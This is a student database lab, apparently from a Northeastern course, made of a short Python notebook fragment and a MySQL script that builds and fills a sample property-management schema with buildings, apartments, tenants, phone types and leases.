print ("\nShow Records:\n" "\n('TenantID', 'TenantFName', 'TenantLName', TenantPhone, 'TPhoneType', 'BuildingID')\n")
rows = cursor.fetchall()
import pprint
pprint.pprint(rows)
# In[31]:
conn.close()
<file_sep>/DLZHP_Database_Code_zoe_pesce.sql
DROP SCHEMA IF EXISTS neu_student_zoe_pesce_labwork;
CREATE SCHEMA neu_student_zoe_pesce_labwork;
USE neu_student_zoe_pesce_labwork;
DROP TABLE IF EXISTS leases, tenantphone, tenant, apartment, inspects, inspector, building, managerphone, manager;
#manager, managerphone, building, inspector, inspects, apartment, tenant, tenantphone, leases
CREATE TABLE manager
(
ManagerID VARCHAR(5) NOT NULL,
ManagerFName VARCHAR(20) NOT NULL,
ManagerLName VARCHAR(20) NOT NULL,
ManagerBDate Date NOT NULL,
ManagerSalary Decimal(10,2) NOT NULL,
ManagerBonus Decimal(10,2),
MResBuildingID VARCHAR(5),
PRIMARY KEY (ManagerID)
);
CREATE TABLE managerphone
(
ManagerID VARCHAR(5) NOT NULL,
ManagerPhone VARCHAR(14) NOT NULL,
PRIMARY KEY (ManagerID, ManagerPhone),
FOREIGN KEY (ManagerID) REFERENCES manager(ManagerID)
);
CREATE TABLE building
(
BuildingID VARCHAR(5) NOT NULL,
BuildingAddress VARCHAR(60) NOT NULL,
BNoOfFloors INT NOT NULL,
BPricePurchased Decimal(10,2) NOT NULL,
BYearPurchased Int NOT NULL,
BYearBuilt INT NOT NULL,
ManagerID VARCHAR(5) NOT NULL,
PRIMARY KEY (BuildingID),
FOREIGN KEY (ManagerID) REFERENCES manager(ManagerID)
);
CREATE TABLE inspector
(
InspectorID VARCHAR(5) NOT NULL,
InspectorFName VARCHAR(20) NOT NULL,
InspectorLName VARCHAR(20) NOT NULL,
PRIMARY KEY (InspectorID)
);
CREATE TABLE inspects
(
BuildingID VARCHAR(5) NOT NULL,
InspectorID VARCHAR(5) NOT NULL,
DateLast Date NOT NULL,
DateNext Date NOT NULL,
PRIMARY KEY (BuildingID, InspectorID),
FOREIGN KEY (BuildingID) REFERENCES building(BuildingID),
FOREIGN KEY (InspectorID) REFERENCES inspector(InspectorID)
);
CREATE TABLE apartment
(
BuildingID VARCHAR(5) NOT NULL,
AptNo INT NOT NULL,
AptNoOfRooms INT NOT NULL,
AptNoOfBedroom INT NOT NULL,
AptRentAmt Decimal(10,2) NOT NULL,
PRIMARY KEY (BuildingID, AptNo),
FOREIGN KEY (BuildingID) REFERENCES building(BuildingID)
);
CREATE TABLE tenant
(
TenantID VARCHAR(5) NOT NULL,
TenantFName VARCHAR(20) NOT NULL,
TenantLName VARCHAR(20) NOT NULL,
TenantBDate Date NOT NULL,
PRIMARY KEY (TenantID)
);
CREATE TABLE tenantphone
(
TenantID VARCHAR(5) NOT NULL,
TenantPhone VARCHAR(14) NOT NULL,
PRIMARY KEY (TenantID, TenantPhone),
FOREIGN KEY (TenantID) REFERENCES tenant(TenantID)
);
CREATE TABLE leases
(
BuildingID VARCHAR(5) NOT NULL,
AptNo INT NOT NULL,
TenantID VARCHAR(5) NOT NULL,
TMoveInDate Date NOT NULL,
TLeaseTermDate Date NOT NULL,
PRIMARY KEY (BuildingID, AptNo, TenantID),
FOREIGN KEY (BuildingID, AptNo) REFERENCES apartment(BuildingID, AptNo),
FOREIGN KEY (TenantID) REFERENCES tenant(TenantID)
);
INSERT INTO manager (ManagerID, ManagerFName, ManagerLName, ManagerBDate, ManagerSalary, ManagerBonus) VALUES ('M1','Tony','Hernandez','1979-06-10',73000.00,2500.00);
INSERT INTO manager (ManagerID, ManagerFName, ManagerLName, ManagerBDate, ManagerSalary, MResBuildingID) VALUES ('M2','Dan','Pesce','1966-08-24',105000.00,'B1');
INSERT INTO managerphone VALUES ('M1','212-555-0810');
INSERT INTO managerphone VALUES ('M1','212-555-1738');
INSERT INTO managerphone VALUES ('M2','914-555-2555');
INSERT INTO managerphone VALUES ('M2','914-555-6063');
INSERT INTO managerphone VALUES ('M2','914-555-6510');
INSERT INTO building VALUES ('B1','30 Downing St. New York, NY 10014',6,2000000.00,2002,1901,'M2');
INSERT INTO building VALUES ('B2','3242 Middletown Rd. Bronx, NY 10465',4,350000.00,1995,1932,'M1');
INSERT INTO building VALUES ('B3','3244 Middletown Rd. Bronx, NY 10465',4,300000.00,1993,1932,'M1');
INSERT INTO building VALUES ('B4','1628 Kennelworth Pl. Bronx, NY 10465',4,550000.00,2007,1921,'M1');
INSERT INTO building VALUES ('B5','1634 Kennelworth Pl. Bronx, NY 10465',2,250000.00,2008,1947,'M1');
INSERT INTO building VALUES ('B6','3268 Middletown Rd. Bronx, NY 10465',3,480000.00,2006,1935,'M1');
INSERT INTO inspector VALUES ('I1','John','Peabody');
INSERT INTO inspector VALUES ('I2','Ralph','Eames');
INSERT INTO inspector VALUES ('I3','Anthony','Zaro');
INSERT INTO inspects VALUES ('B1','I3','2017-03-15','2018-05-15');
INSERT INTO inspects VALUES ('B2','I1','2017-04-01','2018-06-08');
INSERT INTO inspects VALUES ('B3','I2','2017-02-15','2018-07-10');
INSERT INTO inspects VALUES ('B4','I2','2017-08-17','2018-09-20');
INSERT INTO inspects VALUES ('B5','I1','2017-10-26','2018-11-15');
INSERT INTO inspects VALUES ('B6','I1','2017-09-18','2018-09-20');
INSERT INTO apartment VALUES ('B1',1,2,1,2500.00);
INSERT INTO apartment VALUES ('B1',2,2,1,2500.00);
INSERT INTO apartment VALUES ('B1',3,4,1,4500.00);
INSERT INTO apartment VALUES ('B1',4,6,2,6500.00);
INSERT INTO apartment VALUES ('B2',1,5,2,1600.00);
INSERT INTO apartment VALUES ('B2',2,4,1,1250.00);
INSERT INTO apartment VALUES ('B2',3,4,1,1200.00);
INSERT INTO apartment VALUES ('B2',4,4,1,1250.00);
INSERT INTO apartment VALUES ('B2',5,4,1,1475.00);
INSERT INTO apartment VALUES ('B2',6,5,2,1600.00);
INSERT INTO apartment VALUES ('B2',7,2,1,850.00);
INSERT INTO apartment VALUES ('B3',1,6,2,1500.00);
INSERT INTO apartment VALUES ('B3',2,4,1,1400.00);
INSERT INTO apartment VALUES ('B3',3,4,1,1200.00);
INSERT INTO apartment VALUES ('B3',4,4,1,1250.00);
INSERT INTO apartment VALUES ('B3',5,4,1,950.00);
INSERT INTO apartment VALUES ('B3',6,3,1,1300.00);
INSERT INTO apartment VALUES ('B3',7,2,1,1100.00);
INSERT INTO apartment VALUES ('B4',1,7,3,1800.00);
INSERT INTO apartment VALUES ('B4',2,7,3,2000.00);
INSERT INTO apartment VALUES ('B4',3,5,2,1600.00);
INSERT INTO apartment VALUES ('B4',4,5,2,1750.00);
INSERT INTO apartment VALUES ('B5',1,3,1,1500.00);
INSERT INTO apartment VALUES ('B5',2,3,1,1300.00);
INSERT INTO apartment VALUES ('B6',1,6,2,1600.00);
INSERT INTO apartment VALUES ('B6',2,5,2,1350.00);
INSERT INTO apartment VALUES ('B6',3,3,1,1300.00);
INSERT INTO apartment VALUES ('B6',4,2,1,1100.00);
INSERT INTO tenant VALUES ('T1','Andrew','Pesce','1992-06-05');
INSERT INTO tenant VALUES ('T2','Hannah','Pesce','1998-06-10');
INSERT INTO tenant VALUES ('T3','Dan','Pesce','1966-08-24');
INSERT INTO tenant VALUES ('T4','Lucia','Pesce','1967-03-25');
INSERT INTO tenant VALUES ('T5','Rebecca','Johnson','1985-07-06');
INSERT INTO tenant VALUES ('T6','Catherine','Turlington','1984-02-03');
INSERT INTO tenant VALUES ('T7','Debbie','Freedman','1970-04-21');
INSERT INTO tenant VALUES ('T8','Vivian','Charles','1962-07-20');
INSERT INTO tenant VALUES ('T9','Tim','Arnold','1967-12-30');
INSERT INTO tenant VALUES ('T10','Rita','Wright','1968-05-10');
INSERT INTO tenant VALUES ('T11','Chris','Lloyd','1988-09-13');
INSERT INTO tenant VALUES ('T12','Bill','Rogers','1965-08-04');
INSERT INTO tenant VALUES ('T13','Carol','Coscia','1955-03-16');
INSERT INTO tenant VALUES ('T14','Yvonne','Snell','1963-04-07');
INSERT INTO tenant VALUES ('T15','Colleen','Smith','1982-10-10');
INSERT INTO tenant VALUES ('T16','Nicholas','Cruz','1985-10-20');
INSERT INTO tenant VALUES ('T17','Rudy','Rose','1977-02-18');
INSERT INTO tenant VALUES ('T18','Milton','Mason','1964-06-22');
INSERT INTO tenant VALUES ('T19','Jennifer','Apple','1961-01-25');
INSERT INTO tenant VALUES ('T20','Tony','Cooke','1976-01-27');
INSERT INTO tenant VALUES ('T21','Ashley','Bloomberg','1958-01-18');
INSERT INTO tenant VALUES ('T22','Lizbeth','Simpson','1974-06-12');
INSERT INTO tenant VALUES ('T23','Mario','Dutti','1966-11-19');
INSERT INTO tenant VALUES ('T24','Manual','Perry','1983-12-03');
INSERT INTO tenant VALUES ('T25','George','Clark','1981-08-29');
INSERT INTO tenant VALUES ('T26','Peter','Pan','1982-09-10');
INSERT INTO tenant VALUES ('T27','Emily','Bell','1983-03-14');
INSERT INTO tenant VALUES ('T28','Chris','Cooper','1986-05-04');
INSERT INTO tenantphone VALUES ('T1','212-555-3245');
INSERT INTO tenantphone VALUES ('T2','914-555-6509');
INSERT INTO tenantphone VALUES ('T2','212-555-2555');
INSERT INTO tenantphone VALUES ('T3','914-555-6063');
INSERT INTO tenantphone VALUES ('T3','914-555-2555');
INSERT INTO tenantphone VALUES ('T3','914-555-6510');
INSERT INTO tenantphone VALUES ('T4','914-555-6684');
INSERT INTO tenantphone VALUES ('T4','914-555-2555');
INSERT INTO tenantphone VALUES ('T5','413-555-5687');
INSERT INTO tenantphone VALUES ('T5','212-555-8006');
INSERT INTO tenantphone VALUES ('T6','796-555-3475');
INSERT INTO tenantphone VALUES ('T6','212-555-7468');
INSERT INTO tenantphone VALUES ('T7','948-555-9302');
INSERT INTO tenantphone VALUES ('T8','738-555-2835');
INSERT INTO tenantphone VALUES ('T9','934-555-1029');
INSERT INTO tenantphone VALUES ('T9','212-555-3927');
INSERT INTO tenantphone VALUES ('T10','832-555-6930');
INSERT INTO tenantphone VALUES ('T11','938-555-4830');
INSERT INTO tenantphone VALUES ('T11','212-555-2234');
INSERT INTO tenantphone VALUES ('T12','349-555-7730');
INSERT INTO tenantphone VALUES ('T13','834-555-3928');
INSERT INTO tenantphone VALUES ('T13','212-555-8854');
INSERT INTO tenantphone VALUES ('T14','254-555-6054');
INSERT INTO tenantphone VALUES ('T14','212-555-5936');
INSERT INTO tenantphone VALUES ('T15','530-555-3928');
INSERT INTO tenantphone VALUES ('T16','720-555-3948');
INSERT INTO tenantphone VALUES ('T17','648-555-2039');
INSERT INTO tenantphone VALUES ('T18','182-555-3759');
INSERT INTO tenantphone VALUES ('T19','134-555-2261');
INSERT INTO tenantphone VALUES ('T19','212-555-7993');
INSERT INTO tenantphone VALUES ('T20','453-555-3344');
INSERT INTO tenantphone VALUES ('T20','212-555-9952');
INSERT INTO tenantphone VALUES ('T21','326-555-1284');
INSERT INTO tenantphone VALUES ('T22','372-555-0384');
INSERT INTO tenantphone VALUES ('T23','843-555-3027');
INSERT INTO tenantphone VALUES ('T23','212-555-0674');
INSERT INTO tenantphone VALUES ('T24','947-555-0384');
INSERT INTO tenantphone VALUES ('T24','212-555-0085');
INSERT INTO tenantphone VALUES ('T25','382-555-3221');
INSERT INTO tenantphone VALUES ('T25','212-555-4038');
INSERT INTO tenantphone VALUES ('T26','418-555-6748');
INSERT INTO tenantphone VALUES ('T27','418-555-9744');
INSERT INTO tenantphone VALUES ('T28','638-555-9853');
INSERT INTO leases VALUES ('B1',1,'T1','2016-06-01','2018-06-01');
INSERT INTO leases VALUES ('B1',2,'T2','2016-08-01','2018-08-01');
INSERT INTO leases VALUES ('B1',3,'T3','2009-03-01','2019-03-01');
INSERT INTO leases VALUES ('B1',4,'T3','2015-03-01','2019-03-01');
INSERT INTO leases VALUES ('B1',4,'T4','2015-03-01','2019-03-01');
INSERT INTO leases VALUES ('B2',1,'T5','2016-08-01','2018-08-01');
INSERT INTO leases VALUES ('B2',2,'T6','2015-05-01','2018-05-01');
INSERT INTO leases VALUES ('B2',3,'T7','2008-04-01','2019-04-01');
INSERT INTO leases VALUES ('B2',4,'T8','2015-02-01','2019-02-01');
INSERT INTO leases VALUES ('B2',5,'T9','2017-10-01','2018-10-01');
INSERT INTO leases VALUES ('B2',6,'T10','2016-07-01','2018-07-01');
INSERT INTO leases VALUES ('B2',7,'T11','2017-08-01','2018-08-01');
INSERT INTO leases VALUES ('B3',1,'T12','2010-04-01','2019-04-01');
INSERT INTO leases VALUES ('B3',2,'T13','2014-07-01','2018-07-01');
INSERT INTO leases VALUES ('B3',3,'T14','2015-04-01','2019-04-01');
INSERT INTO leases VALUES ('B3',4,'T15','2016-05-01','2018-05-01');
INSERT INTO leases VALUES ('B3',5,'T16','2015-09-01','2018-09-01');
INSERT INTO leases VALUES ('B3',6,'T17','2014-04-01','2019-04-01');
INSERT INTO leases VALUES ('B3',7,'T18','2015-07-01','2018-07-01');
INSERT INTO leases VALUES ('B4',1,'T19','2015-03-01','2019-03-01');
INSERT INTO leases VALUES ('B4',2,'T20','2015-05-01','2018-05-01');
INSERT INTO leases VALUES ('B4',3,'T21','2017-10-01','2018-10-01');
INSERT INTO leases VALUES ('B4',4,'T22','2016-11-01','2018-11-01');
INSERT INTO leases VALUES ('B5',1,'T23','2018-03-01','2019-03-01');
INSERT INTO leases VALUES ('B5',2,'T24','2017-04-01','2019-04-01');
INSERT INTO leases VALUES ('B6',1,'T25','2017-05-01','2018-05-01');
INSERT INTO leases VALUES ('B6',2,'T26','2006-04-01','2019-04-01');
INSERT INTO leases VALUES ('B6',3,'T27','2017-01-01','2018-01-01');
INSERT INTO leases VALUES ('B6',4,'T28','2018-04-01','2019-04-01');
# Add foreign key constraint for MResBuildingID
ALTER TABLE manager
ADD CONSTRAINT fkresidesin
FOREIGN KEY (MResBuildingID) REFERENCES building(BuildingID);
#Create new Table phonetype
CREATE TABLE phonetype
(
PhoneTypeID CHAR(1) NOT NULL,
PhoneType VARCHAR(6) NOT NULL,
PRIMARY KEY (PhoneTypeID)
);
INSERT INTO phonetype VALUES ('M','Mobile');
INSERT INTO phonetype VALUES ('H','Home');
#Alter Tables managerphone and tenantphone to include a foreign key column that references PhoneTypeID in phonetype
ALTER TABLE managerphone
ADD MPhoneType CHAR(1) NOT NULL;
ALTER TABLE tenantphone
ADD TPhoneType CHAR(1) NOT NULL;
#Update managerphone and tenantphone Tables to include values in the new MPhoneType and TPhoneType columns, respectively
UPDATE managerphone set MPhoneType = 'M' where ManagerPhone like '%212-555-0810%';
UPDATE managerphone set MPhoneType = 'H' where ManagerPhone like '%212-555-1738%';
UPDATE managerphone set MPhoneType = 'H' where ManagerPhone like '%914-555-2555%';
UPDATE managerphone set MPhoneType = 'M' where ManagerPhone like '%914-555-6063%';
UPDATE managerphone set MPhoneType = 'M' where ManagerPhone like '%914-555-6510%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%212-555-3245%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%914-555-6509%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-2555%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%914-555-6063%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%914-555-2555%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%914-555-6510%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%914-555-6684%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%914-555-2555%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%413-555-5687%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-8006%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%796-555-3475%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-7468%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%948-555-9302%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%738-555-2835%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%934-555-1029%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-3927%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%832-555-6930%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%938-555-4830%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-2234%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%349-555-7730%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%834-555-3928%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-8854%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%254-555-6054%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-5936%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%530-555-3928%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%720-555-3948%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%648-555-2039%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%182-555-3759%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%134-555-2261%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-7993%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%453-555-3344%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-9952%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%326-555-1284%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%372-555-0384%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%843-555-3027%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-0674%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%947-555-0384%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-0085%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%382-555-3221%';
UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-4038%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%418-555-6748%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%418-555-9744%';
UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%638-555-9853%';
#Add foreign key constraints for managerphone and tenantphone for MPhoneType and TPhoneType, respectively
ALTER TABLE managerphone
ADD CONSTRAINT fkmphonetype
FOREIGN KEY (MPhoneType) REFERENCES phonetype(PhoneTypeID);
ALTER TABLE tenantphone
ADD CONSTRAINT fktphonetype
FOREIGN KEY (TPhoneType) REFERENCES phonetype(PhoneTypeID);
#New code to include phonetype Table in initial creation
DROP SCHEMA IF EXISTS neu_student_zoe_pesce_labwork;
CREATE SCHEMA neu_student_zoe_pesce_labwork;
USE neu_student_zoe_pesce_labwork;
CREATE TABLE phonetype (
PhoneTypeID CHAR(1) NOT NULL,
PhoneType VARCHAR(6) NOT NULL,
PRIMARY KEY (PhoneTypeID)
);
CREATE TABLE manager
(
ManagerID VARCHAR(5) NOT NULL,
ManagerFName VARCHAR(20) NOT NULL,
ManagerLName VARCHAR(20) NOT NULL,
ManagerBDate Date NOT NULL,
ManagerSalary Decimal(10,2) NOT NULL,
ManagerBonus Decimal(10,2),
MResBuildingID VARCHAR(5),
PRIMARY KEY (ManagerID)
);
CREATE TABLE managerphone
(
ManagerID VARCHAR(5) NOT NULL,
ManagerPhone VARCHAR(14) NOT NULL,
MPhoneType CHAR(1)NOT NULL,
PRIMARY KEY (ManagerID, ManagerPhone),
FOREIGN KEY (ManagerID) REFERENCES manager(ManagerID),
FOREIGN KEY (MPhoneType) REFERENCES phonetype(PhoneTypeID)
);
CREATE TABLE building
(
BuildingID VARCHAR(5) NOT NULL,
BuildingAddress VARCHAR(60) NOT NULL,
BNoOfFloors INT NOT NULL,
BPricePurchased Decimal(10,2) NOT NULL,
BYearPurchased Int NOT NULL,
BYearBuilt INT NOT NULL,
ManagerID VARCHAR(5) NOT NULL,
PRIMARY KEY (BuildingID),
FOREIGN KEY (ManagerID) REFERENCES manager(ManagerID)
);
CREATE TABLE inspector
(
InspectorID VARCHAR(5) NOT NULL,
InspectorFName VARCHAR(20) NOT NULL,
InspectorLName VARCHAR(20) NOT NULL,
PRIMARY KEY (InspectorID)
);
CREATE TABLE inspects
(
BuildingID VARCHAR(5) NOT NULL,
InspectorID VARCHAR(5) NOT NULL,
DateLast Date NOT NULL,
DateNext Date NOT NULL,
PRIMARY KEY (BuildingID, InspectorID),
FOREIGN KEY (BuildingID) REFERENCES building(BuildingID),
FOREIGN KEY (InspectorID) REFERENCES inspector(InspectorID)
);
CREATE TABLE apartment
(
BuildingID VARCHAR(5) NOT NULL,
AptNo INT NOT NULL,
AptNoOfRooms INT NOT NULL,
AptNoOfBedroom INT NOT NULL,
AptRentAmt Decimal(10,2) NOT NULL,
PRIMARY KEY (BuildingID, AptNo),
FOREIGN KEY (BuildingID) REFERENCES building(BuildingID)
);
CREATE TABLE tenant
(
TenantID VARCHAR(5) NOT NULL,
TenantFName VARCHAR(20) NOT NULL,
TenantLName VARCHAR(20) NOT NULL,
TenantBDate Date NOT NULL,
PRIMARY KEY (TenantID)
);
CREATE TABLE tenantphone
(
TenantID VARCHAR(5) NOT NULL,
TenantPhone VARCHAR(14) NOT NULL,
TPhoneType CHAR(1) NOT NULL,
PRIMARY KEY (TenantID, TenantPhone),
FOREIGN KEY (TenantID) REFERENCES tenant(TenantID),
FOREIGN KEY (TPhoneType) REFERENCES phonetype(PhoneTypeID)
);
CREATE TABLE leases
(
BuildingID VARCHAR(5) NOT NULL,
AptNo INT NOT NULL,
TenantID VARCHAR(5) NOT NULL,
TMoveInDate Date NOT NULL,
TLeaseTermDate Date NOT NULL,
PRIMARY KEY (BuildingID, AptNo, TenantID),
FOREIGN KEY (BuildingID, AptNo) REFERENCES apartment(BuildingID, AptNo),
FOREIGN KEY (TenantID) REFERENCES tenant(TenantID)
);
INSERT INTO phonetype VALUES('M','Mobile');
INSERT INTO phonetype VALUES('H','Home');
INSERT INTO manager (ManagerID, ManagerFName, ManagerLName, ManagerBDate, ManagerSalary, ManagerBonus) VALUES ('M1','Tony','Hernandez','1979-06-10',73000.00,2500.00);
INSERT INTO manager (ManagerID, ManagerFName, ManagerLName, ManagerBDate, ManagerSalary, MResBuildingID) VALUES ('M2','Dan','Pesce','1966-08-24',105000.00,'B1');
INSERT INTO managerphone VALUES('M1','212-555-0810','M');
INSERT INTO managerphone VALUES('M1','212-555-1738','H');
INSERT INTO managerphone VALUES('M2','914-555-2555','H');
INSERT INTO managerphone VALUES('M2','914-555-6063','M');
INSERT INTO managerphone VALUES('M2','914-555-6510','M');
INSERT INTO building VALUES ('B1','30 Downing St. New York, NY 10014',6,2000000.00,2002,1901,'M2');
INSERT INTO building VALUES ('B2','3242 Middletown Rd. Bronx, NY 10465',4,350000.00,1995,1932,'M1');
INSERT INTO building VALUES ('B3','3244 Middletown Rd. Bronx, NY 10465',4,300000.00,1993,1932,'M1');
INSERT INTO building VALUES ('B4','1628 Kennelworth Pl. Bronx, NY 10465',4,550000.00,2007,1921,'M1');
INSERT INTO building VALUES ('B5','1634 Kennelworth Pl. Bronx, NY 10465',2,250000.00,2008,1947,'M1');
INSERT INTO building VALUES ('B6','3268 Middletown Rd. Bronx, NY 10465',3,480000.00,2006,1935,'M1');
INSERT INTO inspector VALUES ('I1','John','Peabody');
INSERT INTO inspector VALUES ('I2','Ralph','Eames');
INSERT INTO inspector VALUES ('I3','Anthony','Zaro');
INSERT INTO inspects VALUES ('B1','I3','2017-03-15','2018-05-15');
INSERT INTO inspects VALUES ('B2','I1','2017-04-01','2018-06-08');
INSERT INTO inspects VALUES ('B3','I2','2017-02-15','2018-07-10');
INSERT INTO inspects VALUES ('B4','I2','2017-08-17','2018-09-20');
INSERT INTO inspects VALUES ('B5','I1','2017-10-26','2018-11-15');
INSERT INTO inspects VALUES ('B6','I1','2017-09-18','2018-09-20');
INSERT INTO apartment VALUES ('B1',1,2,1,2500.00);
INSERT INTO apartment VALUES ('B1',2,2,1,2500.00);
INSERT INTO apartment VALUES ('B1',3,4,1,4500.00);
INSERT INTO apartment VALUES ('B1',4,6,2,6500.00);
INSERT INTO apartment VALUES ('B2',1,5,2,1600.00);
INSERT INTO apartment VALUES ('B2',2,4,1,1250.00);
INSERT INTO apartment VALUES ('B2',3,4,1,1200.00);
INSERT INTO apartment VALUES ('B2',4,4,1,1250.00);
INSERT INTO apartment VALUES ('B2',5,4,1,1475.00);
INSERT INTO apartment VALUES ('B2',6,5,2,1600.00);
INSERT INTO apartment VALUES ('B2',7,2,1,850.00);
INSERT INTO apartment VALUES ('B3',1,6,2,1500.00);
INSERT INTO apartment VALUES ('B3',2,4,1,1400.00);
INSERT INTO apartment VALUES ('B3',3,4,1,1200.00);
INSERT INTO apartment VALUES ('B3',4,4,1,1250.00);
INSERT INTO apartment VALUES ('B3',5,4,1,950.00);
INSERT INTO apartment VALUES ('B3',6,3,1,1300.00);
INSERT INTO apartment VALUES ('B3',7,2,1,1100.00);
INSERT INTO apartment VALUES ('B4',1,7,3,1800.00);
INSERT INTO apartment VALUES ('B4',2,7,3,2000.00);
INSERT INTO apartment VALUES ('B4',3,5,2,1600.00);
INSERT INTO apartment VALUES ('B4',4,5,2,1750.00);
INSERT INTO apartment VALUES ('B5',1,3,1,1500.00);
INSERT INTO apartment VALUES ('B5',2,3,1,1300.00);
INSERT INTO apartment VALUES ('B6',1,6,2,1600.00);
INSERT INTO apartment VALUES ('B6',2,5,2,1350.00);
INSERT INTO apartment VALUES ('B6',3,3,1,1300.00);
INSERT INTO apartment VALUES ('B6',4,2,1,1100.00);
INSERT INTO tenant VALUES ('T1','Andrew','Pesce','1992-06-05');
INSERT INTO tenant VALUES ('T2','Hannah','Pesce','1998-06-10');
INSERT INTO tenant VALUES ('T3','Dan','Pesce','1966-08-24');
INSERT INTO tenant VALUES ('T4','Lucia','Pesce','1967-03-25');
INSERT INTO tenant VALUES ('T5','Rebecca','Johnson','1985-07-06');
INSERT INTO tenant VALUES ('T6','Catherine','Turlington','1984-02-03');
INSERT INTO tenant VALUES ('T7','Debbie','Freedman','1970-04-21');
INSERT INTO tenant VALUES ('T8','Vivian','Charles','1962-07-20');
INSERT INTO tenant VALUES ('T9','Tim','Arnold','1967-12-30');
INSERT INTO tenant VALUES ('T10','Rita','Wright','1968-05-10');
INSERT INTO tenant VALUES ('T11','Chris','Lloyd','1988-09-13');
INSERT INTO tenant VALUES ('T12','Bill','Rogers','1965-08-04');
INSERT INTO tenant VALUES ('T13','Carol','Coscia','1955-03-16');
INSERT INTO tenant VALUES ('T14','Yvonne','Snell','1963-04-07');
INSERT INTO tenant VALUES ('T15','Colleen','Smith','1982-10-10');
INSERT INTO tenant VALUES ('T16','Nicholas','Cruz','1985-10-20');
INSERT INTO tenant VALUES ('T17','Rudy','Rose','1977-02-18');
INSERT INTO tenant VALUES ('T18','Milton','Mason','1964-06-22');
INSERT INTO tenant VALUES ('T19','Jennifer','Apple','1961-01-25');
INSERT INTO tenant VALUES ('T20','Tony','Cooke','1976-01-27');
INSERT INTO tenant VALUES ('T21','Ashley','Bloomberg','1958-01-18');
INSERT INTO tenant VALUES ('T22','Lizbeth','Simpson','1974-06-12');
INSERT INTO tenant VALUES ('T23','Mario','Dutti','1966-11-19');
INSERT INTO tenant VALUES ('T24','Manual','Perry','1983-12-03');
INSERT INTO tenant VALUES ('T25','George','Clark','1981-08-29');
INSERT INTO tenant VALUES ('T26','Peter','Pan','1982-09-10');
INSERT INTO tenant VALUES ('T27','Emily','Bell','1983-03-14');
INSERT INTO tenant VALUES ('T28','Chris','Cooper','1986-05-04');
INSERT INTO tenantphone VALUES('T1','212-555-3245','M');
INSERT INTO tenantphone VALUES('T2','914-555-6509','M');
INSERT INTO tenantphone VALUES('T2','212-555-2555','H');
INSERT INTO tenantphone VALUES('T3','914-555-6063','M');
INSERT INTO tenantphone VALUES('T3','914-555-2555','H');
INSERT INTO tenantphone VALUES('T3','914-555-6510','M');
INSERT INTO tenantphone VALUES('T4','914-555-6684','M');
INSERT INTO tenantphone VALUES('T4','914-555-2555','H');
INSERT INTO tenantphone VALUES('T5','413-555-5687','M');
INSERT INTO tenantphone VALUES('T5','212-555-8006','H');
INSERT INTO tenantphone VALUES('T6','796-555-3475','M');
INSERT INTO tenantphone VALUES('T6','212-555-7468','H');
INSERT INTO tenantphone VALUES('T7','948-555-9302','M');
INSERT INTO tenantphone VALUES('T8','738-555-2835','M');
INSERT INTO tenantphone VALUES('T9','934-555-1029','M');
INSERT INTO tenantphone VALUES('T9','212-555-3927','H');
INSERT INTO tenantphone VALUES('T10','832-555-6930','M');
INSERT INTO tenantphone VALUES('T11','938-555-4830','M');
INSERT INTO tenantphone VALUES('T11','212-555-2234','H');
INSERT INTO tenantphone VALUES('T12','349-555-7730','M');
INSERT INTO tenantphone VALUES('T13','834-555-3928','M');
INSERT INTO tenantphone VALUES('T13','212-555-8854','H');
INSERT INTO tenantphone VALUES('T14','254-555-6054','M');
INSERT INTO tenantphone VALUES('T14','212-555-5936','H');
INSERT INTO tenantphone VALUES('T15','530-555-3928','M');
INSERT INTO tenantphone VALUES('T16','720-555-3948','M');
INSERT INTO tenantphone VALUES('T17','648-555-2039','M');
INSERT INTO tenantphone VALUES('T18','182-555-3759','M');
INSERT INTO tenantphone VALUES('T19','134-555-2261','M');
INSERT INTO tenantphone VALUES('T19','212-555-7993','H');
INSERT INTO tenantphone VALUES('T20','453-555-3344','M');
INSERT INTO tenantphone VALUES('T20','212-555-9952','H');
